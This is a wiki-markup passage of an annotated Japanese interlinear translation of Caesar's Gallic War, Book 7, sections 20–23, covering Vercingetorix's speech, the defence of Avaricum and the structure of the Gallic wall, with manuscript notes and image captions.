**「これぞ」「私によって」とウェルキンゲトリークスは言った。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以下、&lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;　～　&lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; の箇所は、直接話法で記されている。）&lt;/span&gt;
*&lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;[[wikt:en:beneficium#Latin|beneficia]] [[wikt:en:habetis#Latin|habetis]], quem [[wikt:en:proditio#Latin|proditionis]] [[wikt:en:insimulatis#Verb|insimulatis]]; &amp;nbsp;
**「裏切りだと諸君が糾弾している&lt;small&gt;（私という）&lt;/small&gt;者のおかげで得ているのだ。
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; cuius [[wikt:en:opera#Latin|opera]] sine [[wikt:en:vester#Latin|vestro]] [[wikt:en:sanguis#Latin|sanguine]] &amp;nbsp;
**その&lt;small&gt;（私という）&lt;/small&gt;者の尽力により、諸君らの流血なしに、
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; tantum [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:victor#Latin|victorem]] [[wikt:en:fames#Latin|fame]] &lt;u&gt;paene&lt;/u&gt; [[wikt:en:consumptus#Latin|consumptum]] [[wikt:en:videtis#Latin|videtis]]; &amp;nbsp;
**これほどの軍隊の勝利者&lt;small&gt;〔ローマ人〕&lt;/small&gt;を飢えにより、ほとんど滅ぼしたのを諸君は見ているのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：paene は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; quem [[wikt:en:turpiter#Latin|turpiter]] se ex &lt;u&gt;hac&lt;/u&gt; fuga [[wikt:en:recipiens#Latin|recipientem]] &amp;nbsp;
**彼ら&lt;small&gt;〔ローマ人〕&lt;/small&gt;が見苦しくもこのような逃亡から退却したところを、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：hac は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; ne [[wikt:en:aliqua#Pronoun|qua]] [[wikt:en:civitas#Latin|civitas]] suis finibus [[wikt:en:recipiat#Latin|recipiat]], &amp;nbsp;
**&lt;small&gt;（それらの退却したローマ人を）&lt;/small&gt;どの部族も自らの領土に受け入れないように、
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; a me [[wikt:en:provisus#Latin|provisum]] est. &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt;
**私&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;により、手配された。」
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===21節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/21節]]　{{進捗|00%|2026-05-10}}&lt;/span&gt;
;ウェルキンゲトリークスの誠心とアウァーリクムの重要性を確認
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:conclamat#Latin|Conclamat]] omnis [[wikt:en:multitudo#Latin|multitudo]] 
**群集すべてが雄叫びを上げて、
*et suo [[wikt:en:mos#Latin|more]] [[wikt:en:arma#Latin|armis]] [[wikt:en:concrepat#Latin|concrepat]], 
**自分たちの慣習で武具を打ち鳴らす。
*quod facere in eo [[wikt:en:consuerunt#Verb_2|consuerunt]], cuius [[wikt:en:oratio#Latin|orationem]] [[wikt:en:adprobant#Latin|adprobant]]; 
**&lt;small&gt;（演説した）&lt;/small&gt;その者の雄弁に賛同したら、その者に対してそれをすることが常であったのだ。
*summum esse [[wikt:en:Vercingetorix#Latin|Vercingetorigem]] [[wikt:en:dux#Latin|ducem]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は最高の将帥であり、
*&lt;u&gt;nec&lt;/u&gt; de eius [[wikt:en:fides#Latin|fide]] [[wikt:en:dubitandus#Latin|dubitandum]], 
**彼の信義については疑念を抱くべきではなく、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:nec#Latin|nec]] ～, nec …「～でもないし、…でもない」）&lt;/span&gt;
*&lt;u&gt;nec&lt;/u&gt; [[wikt:en:maior#Latin|maiore]] [[wikt:en:ratio#Latin|ratione]] bellum [[wikt:en:administrari#Latin|administrari]] posse. 
**これ以上の作戦で戦争を指導することはできない&lt;small&gt;（と、叫んで武具を打ち鳴らす）&lt;/small&gt;。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:statuunt#Latin|Statuunt]], ut decem&lt;sub&gt;&amp;nbsp;(X)&lt;/sub&gt; milia hominum [[wikt:en:delectus#Latin|delecta]] ex omnibus [[wikt:en:copiae#Latin|copiis]] in oppidum &lt;u&gt;mittantur&lt;/u&gt;,  
**&lt;small&gt;（彼らは）&lt;/small&gt;すべての軍勢から選り抜かれた兵員1万を&lt;small&gt;（アウァーリクムの）&lt;/small&gt;[[w:オッピドゥム|城塞都市]]の中に派遣すると決定する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:mittantur#Latin|mittantur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:submittantur#Latin|submittantur]] となっている。）&lt;/span&gt;
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; nec [[wikt:en:solus#Latin|solis]] [[wikt:en:Bituriges#Latin|Biturigibus]] [[wikt:en:communis#Latin|communem]] [[wikt:en:salus#Latin|salutem]] [[wikt:en:committendus#Latin|committendam]] [[wikt:en:censent#Latin|censent]], 
**&lt;small&gt;（ガッリア）&lt;/small&gt;共通の安全をビトゥリゲース族だけに託すべきではないと考える。
*quod &lt;u&gt;penes eos&lt;/u&gt;, si id oppidum [[wikt:en:retinuissent#Latin|retinuissent]], 
**というのは、&lt;u&gt;彼らのもとで&lt;/u&gt;、その城塞都市を維持したか否かが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　主要写本&amp;omega; では [[wikt:en:penes#Latin|penes]] eos 「彼らのもとで」だが、&lt;br&gt;　　　　オックスフォード写本 ''[[ガリア戦記/注解編/写本と校訂版#Codex_Oxoniensis_Andino|codd. Andino. Oxon.]]'' や ''[[ガリア戦記/注解編/写本と校訂版#Aldus|Aldus]]'' は paene in eo 「ほぼそのことにおいて」としている。）&lt;/span&gt;
*[[wikt:en:summa#Latin|summam]] victoriae [[wikt:en:consto#Latin|constare]] [[wikt:en:intellegebant#Latin|intellegebant]].
**勝利の天王山を確かなものにすること、を理解していたからである。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===22節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/22節]]　{{進捗|00%|2026-06-01}}&lt;/span&gt;
;アウァーリクムの籠城ガッリア勢が坑道戦で攻防に努める
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:singularis#Latin|Singulari]] [[wikt:en:miles#Latin|militum]] nostrorum [[wikt:en:virtus#Latin|virtuti]] 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;の兵士の卓越した武勇に、
*[[wikt:en:consilium#Latin|consilia]] [[wikt:en:quisque#Latin|cuiusque]] [[wikt:en:modus#Latin|modi]] [[wikt:en:Galli#Latin|Gallorum]] [[wikt:en:occurrebant#Latin|occurrebant]], 
**&lt;small&gt;（敵勢は）&lt;/small&gt;ガッリア人のあらゆる流儀の方策で抗戦していた。
*ut est summae [[wikt:en:genus#Latin|genus]] [[wikt:en:sollertia#Latin|sollertiae]] 
**確かに&lt;small&gt;（ガッリア人は）&lt;/small&gt;このうえなく器用な種族であり、
*atque ad [[wikt:en:omnia#Noun|omnia]] [[wikt:en:imitandus#Latin|imitanda]] et [[wikt:en:efficiendus#Latin|efficienda]], quae ab [[wikt:en:quisque#Latin|quoque]] [[wikt:en:traduntur#Latin|traduntur]], [[wikt:en:aptissimus#Latin|aptissimum]]. 
**誰かによって教えられることすべてを模倣すること、造り出すことにとても適しているのだ。
:　
;　　　鉄鉱山の土地柄で、坑道戦を展開する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Nam &lt;u&gt;et&lt;/u&gt; [[wikt:en:laqueus#Latin|laqueis]] [[wikt:en:falx#Latin|falces]] [[wikt:en:avertebant#Latin|avertebant]], 
**すなわち、輪縄で&lt;small&gt;（ローマ勢の）&lt;/small&gt;破城鎌をそらし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et ～, et …「～でもあり、…でもある」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：破城鎌（[[w:en:Falx|falx]]）については、右図や[[ガリア戦記 第5巻#42節|第5巻42節]]を参照）&lt;/span&gt;
[[画像:Falx_bgiu.png|thumb|right|250px|破城鎌（[[w:en:Falx|falx]]）の想像画（再掲）]] 
[[画像:Doura_Europos_tunnel.jpg|thumb|right|250px|ローマ支配下の城砦跡に残る[[w:坑道|坑道]]の例（シリアの[[w:ドゥラ・エウロポス|ドゥラ・エウロポス]]遺跡）。[[w:サーサーン朝|サーサーン朝]]軍が[[w:坑道戦|坑道戦]]のために掘削したと考えられている。]]
*quas, cum [[wikt:en:destinaverant#Latin|destinaverant]], 
**それを縛り付けておいてから、
*[[wikt:en:tormentum#Latin|tormentis]] [[wikt:en:introrsus#Latin|introrsus]] [[wikt:en:reducebant#Latin|reducebant]], 
**巻揚げ機で&lt;small&gt;（城塞都市の）&lt;/small&gt;内部に引き込んでいたし、
*&lt;u&gt;et&lt;/u&gt; [[wikt:en:agger#Latin|aggerem]] [[wikt:en:cuniculus#Latin|cuniculis]] [[wikt:en:subtrahebant#Latin|subtrahebant]], 
**&lt;small&gt;（ローマ勢の）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を[[w:坑道|坑道]]によって陥没させたりもした。
*&lt;u&gt;eo&lt;/u&gt; [[wikt:en:scienter#Latin|scientius]] 
**&lt;small&gt;（以下の理由により、彼らはそのことに）&lt;/small&gt;より習熟しているのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:eo#Pronoun_5|eō]] ～ [[wikt:en:quod#Conjunction|quod]] …「…という理由で～」）&lt;/span&gt;
*&lt;u&gt;quod&lt;/u&gt; apud eos magnae sunt [[wikt:en:ferraria#Latin|ferrariae]] 
**──というのも、彼らのもとには多くの[[w:鉄鉱石|鉄鉱]]山があり、
*atque [[wikt:en:omnis#Latin|omne]] [[wikt:en:genus#Latin|genus]] [[wikt:en:cuniculus#Latin|cuniculorum]] [[wikt:en:notus#Latin|notum]] 
**坑道のあらゆる類いが知られていて
*atque [[wikt:en:usitatus#Latin|usitatum]] est. 
**慣れていただけに&lt;small&gt;（習熟しているのだ）&lt;/small&gt;。──
:　
;　　　アウァーリクムの全周に防御のための櫓を建てる
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:totus#Latin|Totum]] autem [[wikt:en:murus#Latin|murum]] ex omni parte 
**他方で、城壁の全体をあらゆる方向から、
*[[wikt:en:turris#Latin|turribus]] [[wikt:en:contabulaverant#Latin|contabulaverant]] 
**&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;small&gt;（何層にも）&lt;/small&gt;構築しておいて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：動詞 [[wikt:en:contabulo#Latin|contabulare]] は「板張りする」。[[内乱記_第2巻#9節|『内乱記』第2巻9節]]には [[wikt:en:contabulatio#Latin|contabulatio]]「床板張り」という単語が出て来る。）&lt;/span&gt;
*atque has [[wikt:en:corium#Latin|coriis]] [[wikt:en:intexerant#Latin|intexerant]]. 
**これらを皮革で覆っていた。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Tum [[wikt:en:creber#Latin|crebris]] [[wikt:en:diurnus#Latin|diurnis]] [[wikt:en:nocturnus#Latin|nocturnis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:eruptio#Latin|eruptionibus]] 
**それから、たびたび昼間も夜間も出撃して、
*aut [[wikt:en:agger#Latin|aggeri]] [[wikt:en:ignis#Latin|ignem]] [[wikt:en:inferebant#Latin|inferebant]] 
**あるいは土塁に火災を引き起こしたり、
*aut [[wikt:en:miles#Latin|milites]] [[wikt:en:occupatus#Latin|occupatos]] in [[wikt:en:opus#Latin|opere]] [[wikt:en:adoriebantur#Latin|adoriebantur]], 
**あるいは工事に従事している&lt;small&gt;（ローマ人）&lt;/small&gt;兵士たちを襲撃したりした。
[[画像:University_of_Queensland_Pitch_drop_experiment-white_bg.jpg|thumb|right|200px|&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の滴下実験の様子（豪州[[w:クイーンズランド大学|クイーンズランド大学]]）。[[w:木材|木材]]を密閉加熱すると[[w:木炭|木炭]]が得られるが、その残り物から[[w:乾留液#木タール|木タール]]を[[w:蒸留|蒸留]]させた残り&lt;ruby&gt;&lt;rb&gt;滓&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かす&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;がピッチである。樹木から得られるピッチは、黒色で[[w:粘度|粘っこく]]、高温で燃焼する。中世ヨーロッパでは城砦の防衛に使用され、城壁に近づく敵の上から熱したピッチを注いで焼死させたりしたという（[[w:fr:Poix (matière)|fr:poix]]）。]]
*et nostrarum [[wikt:en:turris#Latin|turrium]] [[wikt:en:altitudo#Latin|altitudinem]], 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;の[[w:攻城塔|攻城櫓]]の高さを、
*[[wikt:en:quantum#Latin|quantum]] has [[wikt:en:cotidianus#Latin|cotidianus]] agger [[wikt:en:expresserat#Latin|expresserat]], 
**毎日のようにこれらを&lt;small&gt;（ローマ側の）&lt;/small&gt;土塁が押し出した分だけ、
*[[wikt:en:commissus#Latin|commissis]] suarum [[wikt:en:turris#Latin|turrium]] [[wikt:en:malus#Noun_5|malis]] [[wikt:en:adaequabant#Latin|adaequabant]], 
**自分たち&lt;small&gt;〔ガッリア勢〕&lt;/small&gt;の櫓を、柱を組み立てることにより、&lt;small&gt;（ローマ側の櫓の高さと）&lt;/small&gt;等しくしようとした。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; et [[wikt:en:apertus#Latin|apertos]] [[wikt:en:cuniculus#Latin|cuniculos]] 
**&lt;small&gt;（ローマ勢が掘削した）&lt;/small&gt;坑道の露出したところを
*[[wikt:en:praeustus#Latin|praeusta]] et [[wikt:en:praeacutus#Latin|praeacuta]] [[wikt:en:materia#Latin|materia]] 
**先端を焼いて尖らせた木材や、
*et [[wikt:en:pix#Latin|pice]] [[wikt:en:fervefactus#Latin|fervefacta]] 
**熱した&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：pix は&lt;ruby&gt;&lt;rb&gt;[[w:歴青|瀝青]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れきせい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と訳されることもあるが、とくに[[w:ピッチ (樹脂)|ピッチ]]を指す&lt;ref&gt;[https://kotobank.jp/word/%E6%9C%A8%E3%81%9F%E3%83%BC%E3%82%8B-3173189 木タール] などを蒸留したあとに残る黒色の物質。&lt;/ref&gt;。&lt;br&gt;　　　　[[w:歴青|瀝青]]は「ビチューメン」ともいい、ラテン語の [[wikt:en:bitumen#Latin|bitūmen]] に由来する。&lt;br&gt;　　　　[[w:ピッチ (樹脂)|ピッチ]]（[[w:en:Pitch (resin)|Pitch]]）は、ラテン語の [[wikt:en:pix#Latin|pix]] に由来する。）&lt;/span&gt;
*et [[wikt:en:maximus#Latin|maximi]] [[wikt:en:pondus#Latin|ponderis]] [[wikt:en:saxum#Latin|saxis]] [[wikt:en:morabantur#Etymology_1|morabantur]] 
**たいへんな重さの岩石で、&lt;small&gt;（ローマ勢の掘削を）&lt;/small&gt;滞らせたり、
*[[wikt:en:moenia#Latin|moenibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:adpropinquo#Latin|adpropinquare]] [[wikt:en:prohibebant#Latin|prohibebant]].
**&lt;small&gt;（ローマ勢が）&lt;/small&gt;城壁に接近することを&lt;small&gt;（ガッリア勢が）&lt;/small&gt;妨げたりしていた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
===23節===
{{Commons|Category:Murus gallicus|Murus gallicus}}
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/23節]]　{{進捗|00%|2026-06-14}}&lt;/span&gt;

;ガッリア式城壁の構造
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:murus#Latin|Muri]] autem omnes [[wikt:en:Gallicus#Latin|Gallici]] hac fere [[wikt:en:forma#Latin|forma]] sunt. 
**ところで、ガッリアの&lt;ruby&gt;&lt;rb&gt;城壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ムルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;のすべては、ほぼ以下のような形態である。
:　
;　　　木材を2ペースずつ等間隔で離して、ずっと並べていく
*&lt;u&gt;Trabes&lt;/u&gt; [[wikt:en:derectus#Latin|derectae]] [[wikt:en:perpetuus#Latin|perpetuae]] &lt;u&gt;in longitudinem&lt;/u&gt; 
**&lt;u&gt;&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;/u&gt;が&lt;small&gt;（城壁の）&lt;/small&gt;&lt;u&gt;&lt;ruby&gt;&lt;rb&gt;長手方向&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ロンギトゥードー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;/u&gt;に、&lt;small&gt;（垂直に）&lt;/small&gt;真っ直ぐに、ずっと続いて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:trabs#Latin|trabes]] は、とくに梁のような水平材を指していると思われる。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：in [[wikt:en:longitudo#Latin|longitudinem]] は、ここでは、城壁に沿った長手方向を指す。）&lt;/span&gt;
[[画像:Murus gallicus de Lyon Fourvière - Maquette de Nicolas Hirsch - Service Archéologique de la Ville de Lyon - Détail structure.jpg|thumb|right|300px|ガッリア式城壁の[[w:ジオラマ|ジオラマ]]（仏[[w:リヨン|リヨン市]]考古学局）。木材を約60cmの間隔で並べる。]]
*[[wikt:en:par#Latin|paribus]] [[wikt:en:intervallum#Latin|intervallis]], [[wikt:en:distans#Latin|distantes]] inter se [[wikt:en:binus#Latin|binos]] [[wikt:en:pes#Latin|pedes]], 
**等間隔で、互いに2&lt;u&gt;ペース&lt;/u&gt;ずつ離れて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、2ペースは約60 cm弱。）&lt;/span&gt;
*in [[wikt:en:solum#Latin|solo]] [[wikt:en:conlocantur#Latin|conlocantur]]. 
**&lt;ruby&gt;&lt;rb&gt;地面&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ソルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に配置される。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：右の画像を参照。）&lt;/span&gt;
:　
;　　　木材をつなぎ合わせ、土砂を埋めて、石材をかぶせる
[[画像:2018 Rheinisches Landesmuseum Trier, Keltischer Wehrmauer.jpg|thumb|right|300px|同じく城壁のジオラマ（独[[w:トリーア|トリーア市]]）。]]
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:hae#Latin|Hae]] [[wikt:en:revinciuntur#Latin|revinciuntur]] [[wikt:en:introrsus#Latin|introrsus]] 
**これら&lt;small&gt;〔木材〕&lt;/small&gt;は、内側で緊結されて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：明瞭な説明ではなく、肝心な記述が欠落している。&lt;br&gt;　　　　上記の2ペースずつ等間隔で並べられた平行な木材は、&lt;br&gt;　　　　節末で述べられるような40ペースの長い木材によって&lt;br&gt;　　　　井桁状に組み合わされて、鉄の釘で固定されたようである。&lt;br&gt;　　　　右上と右のジオラマの画像を参照。）&lt;/span&gt;
*et [[wikt:en:multus#Latin|multo]] [[wikt:en:agger#Latin|aggere]] [[wikt:en:vestiuntur#Latin|vestiuntur]]; 
**多くの&lt;ruby&gt;&lt;rb&gt;土砂&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で覆われる。
*ea autem, quae [[wikt:en:diximus#Verb|diximus]], [[wikt:en:intervallum#Latin|intervalla]] 
**さらに、前述した&lt;small&gt;（2ペースの）&lt;/small&gt;間隔には、
*[[wikt:en:grandis#Latin|grandibus]] in [[wikt:en:frons#Latin:_forehead|fronte]] [[wikt:en:saxum#Latin|saxis]] &lt;u&gt;efferciuntur&lt;/u&gt;. 
**前面に大きな&lt;ruby&gt;&lt;rb&gt;石塊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;サクスム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が詰め込まれる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;rho;系写本･写本V では [[wikt:en:efferciuntur#Latin|efferciuntur]] と表記され、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本･写本T では [[wikt:en:effarciuntur#Latin|effarciuntur]] と表記されるが、&lt;br&gt;　　　　　　　　　[[w:母音弱化|母音弱化]]の語形である前者の方が、共和制末期のカエサルが用いたと考えられる。）&lt;/span&gt;
[[画像:Keltenmauer.gif|thumb|right|280px|ガッリア式城壁の構成図（上が側面、中が上面、下が前面）。木材を水平な井桁状に並べて[[w:釘|釘]]で緊結し、土砂で覆って何層にも重ね、前面には石をはめ込む。井桁状の骨組によって[[w:破城槌|破城槌]]など横からの力（水平荷重）に耐えられるように工夫されている。]]
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; His [[wikt:en:conlocatus#Latin|conlocatis]] et [[wikt:en:coagmentatus#Latin|coagmentatis]] 
**&lt;u&gt;これら&lt;/u&gt;が配置されて結び合わされると、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&lt;u&gt;これら&lt;/u&gt; とは、上述の木材や石材のこと。）&lt;/span&gt;
*alius [[wikt:en:insuper#Latin|insuper]] [[wikt:en:ordo#Latin|ordo]] [[wikt:en:additur#Latin|additur]], 
**上に別の&lt;ruby&gt;&lt;rb&gt;階層&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オルドー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が付け加えられる。
*ut idem illud [[wikt:en:intervallum#Latin|intervallum]] [[wikt:en:servetur#Latin|servetur]], 
**その同じ&lt;small&gt;（2ペースの）&lt;/small&gt;間隔が保たれて、
*neque inter se [[wikt:en:contingant#Latin|contingant]] [[wikt:en:trabs#Latin|trabes]], 
**かつ&lt;ruby&gt;&lt;rb&gt;木材&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トラプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が互いに接触しないように、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：上下の層の水平材どうしが接触しないように、&lt;br&gt;　　　　互い違いに並べているようである。）&lt;/span&gt;
*sed [[wikt:en:par#Latin|paribus]] [[wikt:en:intermissus#Latin|intermissae]] [[wikt:en:spatium#Latin|spatiis]] [[wikt:en:singulus#Latin|singulae]] 
**けれども、等間隔で間をあけられたそれぞれ&lt;small&gt;（の木材）&lt;/small&gt;は、
*[[wikt:en:singulus#Latin|singulis]] [[wikt:en:saxum#Latin|saxis]] [[wikt:en:interiectus#Latin|interiectis]] 
**それぞれの&lt;ruby&gt;&lt;rb&gt;石塊&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;サクスム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が間に挟まれることによって、
*[[wikt:en:arte#Adverb|arte]] [[wikt:en:contineantur#Latin|contineantur]]. 
**緊密に連結される。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Sic [[wikt:en:deinceps#Latin|deinceps]] omne [[wikt:en:opus#Latin|opus]] [[wikt:en:contexitur#Latin|contexitur]], [[wikt:en:dum#Latin|dum]] [[wikt:en:iustus#Latin|iusta]] [[wikt:en:murus#Latin|muri]] [[wikt:en:altitudo#Latin|altitudo]] [[wikt:en:expleatur#Latin|expleatur]]. 
**このように、&lt;ruby&gt;&lt;rb&gt;城壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ムルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の十分な高さが満たされるまで、すべての&lt;ruby&gt;&lt;rb&gt;工作物&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オプス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が続けて組み立てられる。
[[画像:Bibracte_murus_gallicus1.jpg|thumb|right|300px|ガッリア式城壁の[[w:ジオラマ|ジオラマ]]（仏[[w:ビブラクテ|ビブラクテ]]遺跡のケルト文明博物館）。この構造形式はカエサルの記述から「[[w:ムルス・ガリクス|ムルス・ガリクス]]（ガッリア壁）」と呼ばれるが、ガッリアに限らず、[[w:鉄器時代|鉄器時代]]末期すなわちBC1世紀頃の後期[[w:ラ・テーヌ文化|ラ・テーヌ文化]]が及んだ各地に遺構として残る。木材どうしを緊結するために数百トンもの[[w:鉄|鉄]]の[[w:釘|釘]]を用いているのが大きな特徴で、[[w:鉄#製錬|製鉄]]・[[w:鋳造|鋳造]]技術の発達を示す。]]
:　
;　　　ガッリア式城壁は、外観が見事で、城塞都市の防御にも有益
:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以下、cum ～ tum … の構文「～だけでなく、また…でもある」。）&lt;/span&gt;
